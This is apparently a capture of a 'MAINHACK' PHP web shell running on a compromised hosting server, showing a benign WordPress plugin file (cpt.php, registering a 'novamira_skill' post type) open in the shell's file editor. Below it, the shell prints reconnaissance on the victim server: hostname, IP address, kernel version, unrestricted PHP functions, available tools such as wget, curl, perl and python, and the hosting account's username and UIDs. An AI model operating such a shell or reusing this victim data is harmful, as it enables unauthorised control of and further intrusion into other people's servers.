[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: cpt.php
<?php // SPDX-FileCopyrightText: 2026 Ovation S.r.l. <dev@novamira.ai> // SPDX-License-Identifier: AGPL-3.0-or-later declare(strict_types=1); namespace Novamira\Skills\Cpt; if (!defined('ABSPATH')) { exit(); } const POST_TYPE = 'novamira_skill'; const META_ENABLE_PROMPT = '_enable_prompt'; const META_ENABLE_AGENTIC = '_enable_agentic'; function register(): void { $capability = \novamira_manage_capability(); register_post_type(POST_TYPE, [ 'label' => __('Skills', domain: 'novamira'), 'public' => false, 'show_ui' => false, 'show_in_rest' => false, 'has_archive' => false, 'rewrite' => false, 'capability_type' => ['novamira_skill', 'novamira_skills'], 'map_meta_cap' => true, 'capabilities' => [ 'read' => $capability, 'edit_posts' => $capability, 'edit_others_posts' => $capability, 'edit_private_posts' => $capability, 'edit_published_posts' => $capability, 'publish_posts' => $capability, 'read_private_posts' => $capability, 'delete_posts' => $capability, 'delete_others_posts' => $capability, 'delete_private_posts' => $capability, 'delete_published_posts' => $capability, 'create_posts' => $capability, ], // `revisions` enables WP's native history for post_title / // post_content / post_excerpt on every save. Post meta is not // tracked (acceptable in v1 — flags are settings, not content). // Browsing / restoring is deferred to a future version; today // we just start collecting so future-UI has data to show. 'supports' => ['title', 'editor', 'excerpt', 'revisions'], ]); add_filter( 'wp_revisions_to_keep', static fn(int $num, \WP_Post $post): int => $post->post_type === POST_TYPE ? 10 : $num, accepted_args: 2, ); $auth = static fn(): bool => \novamira_current_user_can_manage(); register_post_meta(POST_TYPE, META_ENABLE_PROMPT, [ 'type' => 'boolean', 'single' => true, 'default' => true, 'show_in_rest' => false, 'auth_callback' => $auth, ]); register_post_meta(POST_TYPE, META_ENABLE_AGENTIC, [ 'type' => 'boolean', 'single' => true, 'default' => true, 'show_in_rest' => false, 'auth_callback' => $auth, ]); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154